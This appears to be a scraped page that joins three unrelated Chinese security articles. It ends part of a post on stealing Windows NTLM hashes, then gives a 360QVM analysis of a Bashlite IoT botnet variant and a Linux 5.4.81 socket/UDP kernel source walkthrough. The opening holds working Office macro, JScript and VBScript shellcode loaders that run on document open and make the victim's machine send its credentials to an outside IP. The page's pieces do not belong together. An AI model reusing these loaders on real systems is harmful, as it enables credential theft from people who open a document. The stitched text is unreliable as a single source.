' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
' This is a word/excel macro. This can be used in vb6 applications as well
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
ByVal lpThreadAttributes As Long, _
ByVal dwStackSize As Long, _
ByVal lpStartAddress As LongPtr, _
lpParameter As Long, _
ByVal dwCreationFlags As Long, _
lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _
ByVal Destination As LongPtr, _
ByRef Source As Any, _
ByVal Length As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" ( _
ByVal lpThreadAttributes As Long, _
ByVal dwStackSize As Long, _
ByVal lpStartAddress As Long, _
lpParameter As Long, _
ByVal dwCreationFlags As Long, _
lpThreadId As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" ( _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" ( _
ByVal Destination As Long, _
ByRef Source As Any, _
ByVal Length As Long) As Long
#EndIf
Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40
Sub Auto_Open()
Dim source As Long, i As Long
#If Vba7 Then
Dim lpMemory As LongPtr, lResult As LongPtr
#Else
Dim lpMemory As Long, lResult As Long
#EndIf
Dim bShellcode(376) As Byte
bShellcode(0) = 232
bShellcode(1) = 255
bShellcode(2) = 255
bShellcode(3) = 255
bShellcode(4) = 255
bShellcode(5) = 192
bShellcode(6) = 95
bShellcode(7) = 185
bShellcode(8) = 85
bShellcode(9) = 3
bShellcode(10) = 2
bShellcode(11) = 2
bShellcode(12) = 129
bShellcode(13) = 241
bShellcode(14) = 2
bShellcode(15) = 2
bShellcode(16) = 2
.....................
lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
For i = LBound(bShellcode) To UBound(bShellcode)
source = bShellcode(i)
lResult = RtlMoveMemory(lpMemory + i, source, 1)
Next i
lResult = CreateThread(0, 0, lpMemory, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
<https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba>
**将Shellcode嵌入到VBS和JS代码中**
subTee做了很多关于JS和DynamicWrapperX的研究。你可以找到一个[使用DynamicWrapperX
DLL的POC](http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html)，根据他的研究，我将Shellcode嵌入到了JS和VBS中。有趣的是，我可以将Shellcode嵌入JScript或VBScript脚本中，再将这些脚本内嵌到HTML或“.hta”格式的文件中：
JScript：
/*
* Author : Osanda Malith Jayathissa (@OsandaMalith)
* Title: Shellcode to request a non-existing network path
* Website: https://osandamalith
* Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
* Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
*/
DX = new ActiveXObject("DynamicWrapperX");
DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");
var MEM_COMMIT = 0x1000;
var PAGE_EXECUTE_READWRITE = 0x40;
var sc = [
0xe8, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x5f, 0xb9, 0x55, 0x03, 0x02, 0x02, 0x81, 0xf1, 0x02, 0x02, 0x02, 0x02, 0x83, 0xc7,
0x1d, 0x33, 0xf6, 0xfc, 0x8a, 0x07, 0x3c, 0x05, 0x0f, 0x44, 0xc6, 0xaa, 0xe2, 0xf6, 0xe8, 0x05, 0x05, 0x05, 0x05, 0x5e,
0x8b, 0xfe, 0x81, 0xc6, 0x29, 0x01, 0x05, 0x05, 0xb9, 0x02, 0x05, 0x05, 0x05, 0xfc, 0xad, 0x01, 0x3c, 0x07, 0xe2, 0xfa,
0x56, 0xb9, 0x8d, 0x10, 0xb7, 0xf8, 0xe8, 0x5f, 0x05, 0x05, 0x05, 0x68, 0x31, 0x01, 0x05, 0x05, 0xff, 0xd0, 0xb9, 0xe0,
0x53, 0x31, 0x4b, 0xe8, 0x4e, 0x05, 0x05, 0x05, 0xb9, 0xac, 0xd5, 0xaa, 0x88, 0x8b, 0xf0, 0xe8, 0x42, 0x05, 0x05, 0x05,
0x6a, 0x05, 0x68, 0x80, 0x05, 0x05, 0x05, 0x6a, 0x03, 0x6a, 0x05, 0x6a, 0x01, 0x68, 0x05, 0x05, 0x05, 0x80, 0x68, 0x3e,
0x01, 0x05, 0x05, 0xff, 0xd0, 0x6a, 0x05, 0xff, 0xd6, 0x33, 0xc0, 0x5e, 0xc3, 0x33, 0xd2, 0xeb, 0x10, 0xc1, 0xca, 0x0d,
0x3c, 0x61, 0x0f, 0xbe, 0xc0, 0x7c, 0x03, 0x83, 0xe8, 0x20, 0x03, 0xd0, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xea, 0x8b,
0xc2, 0xc3, 0x8d, 0x41, 0xf8, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0x89, 0x4d, 0xf4, 0x64, 0xa1,
0x30, 0x05, 0x05, 0x05, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x14, 0x89, 0x45, 0xec, 0x8b,
0xf8, 0x8b, 0xcf, 0xe8, 0xd2, 0xff, 0xff, 0xff, 0x8b, 0x70, 0x18, 0x8b, 0x3f, 0x85, 0xf6, 0x74, 0x4f, 0x8b, 0x46, 0x3c,
0x8b, 0x5c, 0x30, 0x78, 0x85, 0xdb, 0x74, 0x44, 0x8b, 0x4c, 0x33, 0x0c, 0x03, 0xce, 0xe8, 0x96, 0xff, 0xff, 0xff, 0x8b,
0x4c, 0x33, 0x20, 0x89, 0x45, 0xf8, 0x33, 0xc0, 0x03, 0xce, 0x89, 0x4d, 0xf0, 0x89, 0x45, 0xfc, 0x39, 0x44, 0x33, 0x18,
0x76, 0x22, 0x8b, 0x0c, 0x81, 0x03, 0xce, 0xe8, 0x75, 0xff, 0xff, 0xff, 0x03, 0x45, 0xf8, 0x39, 0x45, 0xf4, 0x74, 0x1c,
0x8b, 0x45, 0xfc, 0x8b, 0x4d, 0xf0, 0x40, 0x89, 0x45, 0xfc, 0x3b, 0x44, 0x33, 0x18, 0x72, 0xde, 0x3b, 0x7d, 0xec, 0x75,
0x9c, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x4d, 0xfc, 0x8b, 0x44, 0x33, 0x24, 0x8d, 0x04, 0x48, 0x0f, 0xb7,
0x0c, 0x30, 0x8b, 0x44, 0x33, 0x1c, 0x8d, 0x04, 0x88, 0x8b, 0x04, 0x30, 0x03, 0xc6, 0xeb, 0xdf, 0x21, 0x05, 0x05, 0x05,
0x50, 0x05, 0x05, 0x05, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x05, 0x2f, 0x2f, 0x33,
0x35, 0x2e, 0x31, 0x36, 0x34, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x32, 0x32, 0x34, 0x2f, 0x61, 0x61, 0x05];
var scLocation = DX.VirtualAlloc(0, sc.length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
for(var i = 0; i < sc.length; i++) DX.NumPut(sc[i],scLocation,i);
var thread = DX.CreateThread(0,0,scLocation,0,0);
<https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js>
VBScript：
' Author : Osanda Malith Jayathissa (@OsandaMalith)
' Title: Shellcode to request a non-existing network path
' Website: https://osandamalith
' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
' Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
Set DX = CreateObject("DynamicWrapperX")
DX.Register "kernel32.dll", "VirtualAlloc", "i=luuu", "r=u"
DX.Register "kernel32.dll","CreateThread","i=uullu","r=u"
DX.Register "kernel32.dll", "WaitForSingleObject", "i=uu", "r=u"
Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40
shellcode = Array( _
&He8, &Hff, &Hff, &Hff, &Hff, &Hc0, &H5f, &Hb9, &H55, &H03, &H02, &H02, &H81, &Hf1, &H02, &H02, &H02, &H02, &H83, &Hc7, _
&H1d, &H33, &Hf6, &Hfc, &H8a, &H07, &H3c, &H05, &H0f, &H44, &Hc6, &Haa, &He2, &Hf6, &He8, &H05, &H05, &H05, &H05, &H5e, _
&H8b, &Hfe, &H81, &Hc6, &H29, &H01, &H05, &H05, &Hb9, &H02, &H05, &H05, &H05, &Hfc, &Had, &H01, &H3c, &H07, &He2, &Hfa, _
&H56, &Hb9, &H8d, &H10, &Hb7, &Hf8, &He8, &H5f, &H05, &H05, &H05, &H68, &H31, &H01, &H05, &H05, &Hff, &Hd0, &Hb9, &He0, _
&H53, &H31, &H4b, &He8, &H4e, &H05, &H05, &H05, &Hb9, &Hac, &Hd5, &Haa, &H88, &H8b, &Hf0, &He8, &H42, &H05, &H05, &H05, _
&H6a, &H05, &H68, &H80, &H05, &H05, &H05, &H6a, &H03, &H6a, &H05, &H6a, &H01, &H68, &H05, &H05, &H05, &H80, &H68, &H3e, _
&H01, &H05, &H05, &Hff, &Hd0, &H6a, &H05, &Hff, &Hd6, &H33, &Hc0, &H5e, &Hc3, &H33, &Hd2, &Heb, &H10, &Hc1, &Hca, &H0d, _
&H3c, &H61, &H0f, &Hbe, &Hc0, &H7c, &H03, &H83, &He8, &H20, &H03, &Hd0, &H41, &H8a, &H01, &H84, &Hc0, &H75, &Hea, &H8b, _
&Hc2, &Hc3, &H8d, &H41, &Hf8, &Hc3, &H55, &H8b, &Hec, &H83, &Hec, &H14, &H53, &H56, &H57, &H89, &H4d, &Hf4, &H64, &Ha1, _
&H30, &H05, &H05, &H05, &H89, &H45, &Hfc, &H8b, &H45, &Hfc, &H8b, &H40, &H0c, &H8b, &H40, &H14, &H89, &H45, &Hec, &H8b, _
&Hf8, &H8b, &Hcf, &He8, &Hd2, &Hff, &Hff, &Hff, &H8b, &H70, &H18, &H8b, &H3f, &H85, &Hf6, &H74, &H4f, &H8b, &H46, &H3c, _
&H8b, &H5c, &H30, &H78, &H85, &Hdb, &H74, &H44, &H8b, &H4c, &H33, &H0c, &H03, &Hce, &He8, &H96, &Hff, &Hff, &Hff, &H8b, _
&H4c, &H33, &H20, &H89, &H45, &Hf8, &H33, &Hc0, &H03, &Hce, &H89, &H4d, &Hf0, &H89, &H45, &Hfc, &H39, &H44, &H33, &H18, _
&H76, &H22, &H8b, &H0c, &H81, &H03, &Hce, &He8, &H75, &Hff, &Hff, &Hff, &H03, &H45, &Hf8, &H39, &H45, &Hf4, &H74, &H1c, _
&H8b, &H45, &Hfc, &H8b, &H4d, &Hf0, &H40, &H89, &H45, &Hfc, &H3b, &H44, &H33, &H18, &H72, &Hde, &H3b, &H7d, &Hec, &H75, _
&H9c, &H33, &Hc0, &H5f, &H5e, &H5b, &Hc9, &Hc3, &H8b, &H4d, &Hfc, &H8b, &H44, &H33, &H24, &H8d, &H04, &H48, &H0f, &Hb7, _
&H0c, &H30, &H8b, &H44, &H33, &H1c, &H8d, &H04, &H88, &H8b, &H04, &H30, &H03, &Hc6, &Heb, &Hdf, &H21, &H05, &H05, &H05, _
&H50, &H05, &H05, &H05, &H6b, &H65, &H72, &H6e, &H65, &H6c, &H33, &H32, &H2e, &H64, &H6c, &H6c, &H05, &H2f, &H2f, &H33, _
&H35, &H2e, &H31, &H36, &H34, &H2e, &H31, &H35, &H33, &H2e, &H32, &H32, &H34, &H2f, &H61, &H61, &H05)
scLocation = DX.VirtualAlloc(0, UBound(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
For i =LBound(shellcode) to UBound(shellcode)
DX.NumPut shellcode(i),scLocation,i
Next
thread = DX.CreateThread (0,0,scLocation,0,0)
<https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs>
在Windows系统中，可能还存在很多种窃取NTLM HASH的方法，你可以断续探索。 | 社区文章 |
# Bashlite恶意软件阴魂未散:智能设备面临新考验
|
##### 译文声明
本文是翻译文章，文章来源：360QVM@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**作者:360QVM团队**
**一、概况**
早在2014年,Shell Shock(CVE-2014-6721)便作为一个高达10级的漏洞受到极大的关注,而利用Shell
Shock疯狂作案的Bashlite恶意软件在当时已对不少设备造成了威胁,这其中包括了路由器、手机、可穿戴设备等。近日,360
QVM团队又捕获了该恶意程序的最新变种,并追踪到了相关多个平台的恶意程序,相比老版的bashlite,新版支持的平台更多,且成功率更高,多种智能设备将受到Bashlite恶意软件影响。
**二、样本分析**
该版本一共有25个文件,其中包括一个shell脚本文件和24个elf文件,支持不同架构的设备,如下表:
文件名
|
文件类型
---|---
lnta
|
ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared
libs), not stripped
lntb
|
ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared
libs), not stripped
lntc
|
ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses
shared libs), not stripped
lntd
|
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked
(uses shared libs), not stripped
lnte
|
ELF 32-bit MSB executable, Motorola 68020, version 1 (SYSV), dynamically
linked (uses shared libs), not stripped
lntf
|
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked
(uses shared libs), not stripped
lntg
|
ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked
(uses shared libs), not stripped
lnth
|
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked
(uses shared libs), not stripped
lnti
|
ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV),
dynamically linked (uses shared libs), not stripped
lntj
|
ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV),
dynamically linked (uses shared libs), not stripped
lntk
|
ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), dynamically linked
(uses shared libs), not stripped
lntl
|
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses
shared libs), not stripped
nt.sh
|
POSIX shell script text executable
slnta
|
ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped
slntb
|
ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped
slntc
|
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, not
stripped
slntd
|
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked,
not stripped
slnte
|
ELF 32-bit MSB executable, Motorola 68020, version 1 (SYSV), statically
linked, not stripped
slntf
|
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked,
not stripped
slntg
|
ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked,
not stripped
slnth
|
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked,
not stripped
slnti
|
ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically
linked, not stripped
slntj
|
ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically
linked, not stripped
slntk
|
ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked,
not stripped
slntl
|
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not
stripped
文件名:nt.sh
文件大小:21.9kb
MD5: c14761119affea9569dd248a0c78d0b4
该程序可用于更新作者本身写的程序,也用于将已感染bashlite的主机占为己有,我们来看看它的主要功能:
先清除了老版本使用的配置文件,并杀掉了老版本的进程;
下载并并运行最新的恶意程序,这里使用了curl、lynx、wget等多种方式下载,确保下载成功;
当确认与服务端建立连接后则停止。
其它文件:
其它文件完成了主要的恶意功能,不同文件为不同平台所打造,但功能都是类似的,以80386平台为例,我们来看看slntd的主要功能:
先简单的strace一下该程序:
可以看到该程序先设置了线程名,随后连接了8.8.8.8,然后读取了路由表,之后的操作都是由几个线程完成,我们详细的跟一下:
**
**
**1.使用prctl修改线程名为[cpuset]**
**2.连接8.8.8.8来判断用户是否已连接到网络,若连接到网络则通过路由表来获得ip地址并得到设备名称,再由ioctl得到mac地址:**
**3.连接C &C地址(162.248.79.66)**
简单对该地址扫描,发现其开放了21,22端口,我们尝试着访问一下:
可以看到上面有作者用于交叉编译的工具和脚本,还有已生成好的bot文件,从nt2.sh可以看到有新的地址188.209.49.163:443,而且底部有Generated
Mon, 26 Oct 2015 10:38:23 GMT by proxy
(squid/3.1.23),由此可见作者可能已经拥有了大量的肉鸡,已经必须使用squid来承受并发的压力,当然也有可能仅仅是为了隐藏自己。
**4.接受远程发来的指令,与老版本相似,支持一下几种指令:**
指令
|
功能
---|---
PING
|
给服务端发送"PONG!",应为上线提示功能
GETLOCALIP
|
给服务端发送本机IP
SCANNER
|
执行StartTheLelz函数,随机生成IP地址,并尝试使用弱口令连接去感染更多主机
HOLD,JUNK,UDP,TCP
|
针对远程发来的IP和不同攻击指令,对目标主机发动DOS攻击
KILLATTK
|
终止所有攻击
LOLNOGTFO
|
卸载
值得一提的是SCANNER指令,执行该指令时会尝试连接大量的随机地址,占用资源明显。
若主机存在,则尝试使用telnet方式感染主机,被感染后的主机仍可以继续寻找其它可被感染的目标。
**三、总结**
Bashlite危害较大,其新版本不光会影响到设备的性能,占用大量网络资源,还有可能会造成隐私泄露等危害,360QVM小组提醒各智能设备厂商做好防范措施,固件使用高版本的BASH,且不要使用弱口令作为验证手段。管理员们要时刻注意主机的异常进程和网络流量情况。 | 社区文章 |
# linux内核（5.4.81）——网络模块源码分析（socket/udp/ip）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> author: povcfe
* 1\. socket
* 1.1 sock_create
* 1.1.1 sock_alloc
* 1.1.2 inet_create
* 1.1.2.1 sk_alloc
* 1.2 sock_map_fd
* 2\. send(运输层)
* 2.1 import_single_range
* 2.2 sockfd_lookup_light
* 2.3 sock_sendmsg
* 2.4 udp_sendmsg
* 2.4.1 udp_cmsg_send
* 2.4.2 TOS
* 2.4.3 多播/本地广播
* 2.4.4 检查sock中路由信息是否过期
* 2.4.5 udp_send_skb
* 2.4.6 udp_push_pending_frames
* 3\. recv(运输层)
* 2.1 udp_recvmsg
* 2.1.1 __skb_recv_udp
* 2.1.1.1 __skb_try_recv_from_queue
* 4\. IP(网络层)
* 4.1 ip_cmsg_send
* 4.2 ip_make_skb
* 4.2.1 ip_setup_cork
* 4.2.2 __ip_make_skb
* 4.3 ip_append_data
* 4.3.1 __ip_append_data
* 4.4 ip_send_skb
* 4.4.1 __ip_local_out
## 1\. socket
* SOCK_CLOEXEC 和 SOCK_NONBLOCK是2.6.27版本后增加的sock类型:
* SOCK_CLOEXEC 借助文件描述符FD_CLOEXEC 实现子进程运行exec后关闭sock_fd机制
* SOCK_NONBLOCK 借助文件描述符O_NONBLOCK 实现非阻塞IO通信
int __sys_socket(int family, int type, int protocol)
{
int retval;
struct socket *sock;
int flags;
/* Check the SOCK_* constants for consistency. */
BUILD_BUG_ON(SOCK_CLOEXEC != O_CLOEXEC);
BUILD_BUG_ON((SOCK_MAX | SOCK_TYPE_MASK) != SOCK_TYPE_MASK);
BUILD_BUG_ON(SOCK_CLOEXEC & SOCK_TYPE_MASK);
BUILD_BUG_ON(SOCK_NONBLOCK & SOCK_TYPE_MASK);
// 如果flags除SOCK_CLOEXEC/SOCK_NONBLOCK掩码外不存在其他flag标志, 直接返回错误码
flags = type & ~SOCK_TYPE_MASK;
if (flags & ~(SOCK_CLOEXEC | SOCK_NONBLOCK))
return -EINVAL;
type &= SOCK_TYPE_MASK;
// 因为SOCK_NONBLOCK实现的本质是借助O_NONBLOCK, 所以二者内容矛盾时, 使用O_NONBLOCK替换SOCK_NONBLOCK
if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;
// 创建socket, 详细见1.1
retval = sock_create(family, type, protocol, &sock);
if (retval < 0)
return retval;
// 将fd, file, socket互相绑定, 详细见1.2
return sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
}
### 1.1 sock_create
> sock_create
int sock_create(int family, int type, int protocol, struct socket **res)
{
return __sock_create(current->nsproxy->net_ns, family, type, protocol, res, 0);
}
> __sock_create
int __sock_create(struct net *net, int family, int type, int protocol,
struct socket **res, int kern)
{
int err;
struct socket *sock;
const struct net_proto_family *pf;
/*
* Check protocol is in range
*/
// 检查协议族是否超出范围
if (family < 0 || family >= NPROTO)
return -EAFNOSUPPORT;
// 检查socket类型是否超出范围
if (type < 0 || type >= SOCK_MAX)
return -EINVAL;
/* Compatibility.
This uglymoron is moved from INET layer to here to avoid
deadlock in module load.
*/
// SOCK_PACKET被从PF_INET族移入PF_PACKET
if (family == PF_INET && type == SOCK_PACKET) {
pr_info_once("%s uses obsolete (PF_INET,SOCK_PACKET)\n",
current->comm);
family = PF_PACKET;
}
// 用来适配LSM(linux security module):LSM是一种安全框架，
// 将钩子安插在内核的关键函数上, 通过钩子上存储函数指针链表调用安全检查函数
// 用以在不修改内核代码的前提下, 为内核安装安全模块。
// 理论上讲不同的安全模块可以被同时安装到内核中, 钩子函数会依次执行对应的安全检查函数。
err = security_socket_create(family, type, protocol, kern);
if (err)
return err;
/*
* Allocate the socket and allow the family to set things up. if
* the protocol is 0, the family is instructed to select an appropriate
* default.
*/
// 创建socket, 详细见1.1.1
sock = sock_alloc();
if (!sock) {
net_warn_ratelimited("socket: no more sockets\n");
return -ENFILE; /* Not exactly a match, but its the
closest posix thing */
}
// 为socket->type填充socket类型信息
sock->type = type;
#ifdef CONFIG_MODULES
/* Attempt to load a protocol module if the find failed.
*
* 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
* requested real, full-featured networking support upon configuration.
* Otherwise module support will break!
*/
// 如果协议族内容不存在, 则试图加载驱动(内核执行用户指令modprobe加载驱动)
if (rcu_access_pointer(net_families[family]) == NULL)
request_module("net-pf-%d", family);
#endif
// 进入rcu_read区域, 有关rcu的扩展可以看这篇文章 [RCU简介](https://zhuanlan.zhihu.com/p/113999842)
rcu_read_lock();
// 获得协议族信息
pf = rcu_dereference(net_families[family]);
err = -EAFNOSUPPORT;
if (!pf)
goto out_release;
/*
* We will call the ->create function, that possibly is in a loadable
* module, so we have to bump that loadable module refcnt first.
*/
// 检查协议族对应的模块是否被加载&增加模块的引用数
if (!try_module_get(pf->owner))
goto out_release;
/* Now protected by module ref count */
rcu_read_unlock();
// 在udp中调用inet_create创建sock, 详细见1.1.2
err = pf->create(net, sock, protocol, kern);
if (err < 0)
goto out_module_put;
/*
* Now to bump the refcnt of the [loadable] module that owns this
* socket at sock_release time we decrement its refcnt.
*/
// 用户需要使用sock->ops, 所以他对应的模块必须在内存中加载
if (!try_module_get(sock->ops->owner))
goto out_module_busy;
/*
* Now that we're done with the ->create function, the [loadable]
* module can have its refcnt decremented
*/
// pf->create函数调用完毕, 协议族对应的可加载模板引用数-1
module_put(pf->owner);
err = security_socket_post_create(sock, family, type, protocol, kern);
if (err)
goto out_sock_release;
*res = sock;
return 0;
out_module_busy:
err = -EAFNOSUPPORT;
out_module_put:
sock->ops = NULL;
module_put(pf->owner);
out_sock_release:
sock_release(sock);
return err;
out_release:
rcu_read_unlock();
goto out_sock_release;
}
### 1.1.1 sock_alloc
struct socket *sock_alloc(void)
{
struct inode *inode;
struct socket *sock;
// 创建inode文件索引结点
// alloc inode时, 会分配sizeof(struct socket_alloc) 大小空间
inode = new_inode_pseudo(sock_mnt->mnt_sb);
if (!inode)
return NULL;
// 依据vfs_inode在struct socket_alloc中的偏移定位socket_alloc地址, 然后定位socket 成员位置
/*
struct socket_alloc {
struct socket socket;
struct inode vfs_inode;
};
static inline struct socket *SOCKET_I(struct inode *inode)
{
return &container_of(inode, struct socket_alloc, vfs_inode)->socket;
}
*/
sock = SOCKET_I(inode);
// 填充inode属性,
inode->i_ino = get_next_ino();
inode->i_mode = S_IFSOCK | S_IRWXUGO;
inode->i_uid = current_fsuid();
inode->i_gid = current_fsgid();
inode->i_op = &sockfs_inode_ops;
return sock;
}
### 1.1.2 inet_create
static int inet_create(struct net *net, struct socket *sock, int protocol,
int kern)
{
struct sock *sk;
struct inet_protosw *answer;
struct inet_sock *inet;
struct proto *answer_prot;
unsigned char answer_flags;
int try_loading_module = 0;
int err;
// 检查协议是否超出范围
if (protocol < 0 || protocol >= IPPROTO_MAX)
return -EINVAL;
// 设置socket为无连接状态
sock->state = SS_UNCONNECTED;
/* Look for the requested type/protocol pair. */
lookup_protocol:
err = -ESOCKTNOSUPPORT;
rcu_read_lock();
// 此宏定义使用了RCU机制, 大致功能为遍历 &inetsw[sock->type] 链表,
// 同时返回链表的next指针, 认为该指针是struct inet_protosw中的list成员,
// 根据相对偏移, 定位此链表指针对应的结构体首地址, 赋值给answer
// 遍历对应sock->type的inetsw链表, 查找协议族中与socket类型相对应的网络层协议信息
// IPPROTO_IP表示用户不指定协议, 使用默认协议
list_for_each_entry_rcu(answer, &inetsw[sock->type], list) {
err = 0;
/* Check the non-wild match. */
// 如果遍历获得与用户指定协议相同的网络协议(IPPROTO_IP除外), 成功退出
if (protocol == answer->protocol) {
if (protocol != IPPROTO_IP)
break;
} else {
/* Check for the two wild cases. */
// 用户指定IPPROTO_IP后, 使用默认协议
if (IPPROTO_IP == protocol) {
protocol = answer->protocol;
break;
}
// 遍历获得的协议必须非IPPROTO_IP(即必须指定确定协议)
if (IPPROTO_IP == answer->protocol)
break;
}
err = -EPROTONOSUPPORT;
}
// 为了解决上诉错误, 此处决定尝试加载驱动(最多尝试两次)
if (unlikely(err)) {
if (try_loading_module < 2) {
rcu_read_unlock();
/*
* Be more specific, e.g. net-pf-2-proto-132-type-1
* (net-pf-PF_INET-proto-IPPROTO_SCTP-type-SOCK_STREAM)
*/
if (++try_loading_module == 1)
request_module("net-pf-%d-proto-%d-type-%d",
PF_INET, protocol, sock->type);
/*
* Fall back to generic, e.g. net-pf-2-proto-132
* (net-pf-PF_INET-proto-IPPROTO_SCTP)
*/
else
request_module("net-pf-%d-proto-%d",
PF_INET, protocol);
goto lookup_protocol;
} else
goto out_rcu_unlock;
}
err = -EPERM;
// 调用SOCK_RAW, 需要验证权限
if (sock->type == SOCK_RAW && !kern &&
!ns_capable(net->user_ns, CAP_NET_RAW))
goto out_rcu_unlock;
sock->ops = answer->ops;
answer_prot = answer->prot;
answer_flags = answer->flags;
rcu_read_unlock();
WARN_ON(!answer_prot->slab);
err = -ENOBUFS;
// sk_alloc 创建sock(真实大小: sizeof(struct xxx_sock). 比如udp对应udp_sock), 详细见1.1.2.1
sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
if (!sk)
goto out;
err = 0;
if (INET_PROTOSW_REUSE & answer_flags)
sk->sk_reuse = SK_CAN_REUSE;
// 将sock转化为inet_sock(包含sock成员)
inet = inet_sk(sk);
inet->is_icsk = (INET_PROTOSW_ICSK & answer_flags) != 0;
inet->nodefrag = 0;
...
// 检查配置确定是否开启动态mtu探测
if (net->ipv4.sysctl_ip_no_pmtu_disc)
inet->pmtudisc = IP_PMTUDISC_DONT;
else
inet->pmtudisc = IP_PMTUDISC_WANT;
inet->inet_id = 0;
// socket与sock相互绑定
sock_init_data(sock, sk);
// 初始化sock与inet属性
sk->sk_destruct = inet_sock_destruct;
sk->sk_protocol = protocol;
sk->sk_backlog_rcv = sk->sk_prot->backlog_rcv;
inet->uc_ttl = -1;
inet->mc_loop = 1;
inet->mc_ttl = 1;
inet->mc_all = 1;
inet->mc_index = 0;
inet->mc_list = NULL;
inet->rcv_tos = 0;
...
out:
return err;
out_rcu_unlock:
rcu_read_unlock();
goto out;
}
### 1.1.2.1 sk_alloc
struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
struct proto *prot, int kern)
{
struct sock *sk;
// 如果协议族存在slab则使用kmem_cache_alloc(slab, priority & ~__GFP_ZERO); 分配内存(不使用内核通用的slab, 可预防内存攻击)
// 如果协议族slab为空, 使用kmalloc分配内存
sk = sk_prot_alloc(prot, priority | __GFP_ZERO, family);
if (sk) {
// 指定sock协议族
sk->sk_family = family;
/*
* See comment in struct sock definition to understand
* why we need sk_prot_creator -acme
*/
sk->sk_prot = sk->sk_prot_creator = prot;
sk->sk_kern_sock = kern;
sock_lock_init(sk);
sk->sk_net_refcnt = kern ? 0 : 1;
if (likely(sk->sk_net_refcnt)) {
get_net(net);
sock_inuse_add(net, 1);
}
// 将sock与net相互绑定
sock_net_set(sk, net);
refcount_set(&sk->sk_wmem_alloc, 1);
...
}
return sk;
}
### 1.2 sock_map_fd
static int sock_map_fd(struct socket *sock, int flags)
{
struct file *newfile;
// 获得空闲fd
int fd = get_unused_fd_flags(flags);
if (unlikely(fd < 0)) {
// 失败后释放socket
sock_release(sock);
return fd;
}
// 创建file对象
// 调用alloc_file_pseudo, 以socket对应的inode为基础创建file对象,
// socket文件功能函数替换原生功能函数
/*
file与socket相互绑定
sock->file = file;
file->private_data = sock;
*/
newfile = sock_alloc_file(sock, flags, NULL);
if (!IS_ERR(newfile)) {
// fd与file相互绑定
fd_install(fd, newfile);
return fd;
}
